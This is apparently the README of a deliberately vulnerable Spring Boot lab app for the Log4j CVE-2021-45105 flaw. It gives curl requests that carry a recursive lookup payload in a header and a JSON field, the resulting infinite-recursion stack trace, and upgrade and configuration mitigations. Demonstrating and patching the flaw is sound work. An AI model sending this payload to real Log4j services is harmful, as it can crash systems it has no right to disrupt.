该应用程序基于一个存在 CVE-2021-45105 漏洞的 Spring Boot Web 应用程序。
它使用 Log4j 2.16.0。

运行它:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${${::-${::-$${::-$}}}}"
}'
${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
Java 8(或更高版本)用户应升级到 2.17.0 版本。
或者,也可以通过配置进行缓解:
在日志配置的 PatternLayout 中,将类似 ${ctx:loginId} 或 $${ctx:loginId} 的 Context Lookups 替换为 Thread Context Map 模式(%X、%mdc 或 %MDC)。 否则,在配置中移除对类似 ${ctx:loginId} 或 $${ctx:loginId} 的 Context Lookups 的引用,尤其是当它们来自应用程序外部的来源(如 HTTP 头或用户输入)时。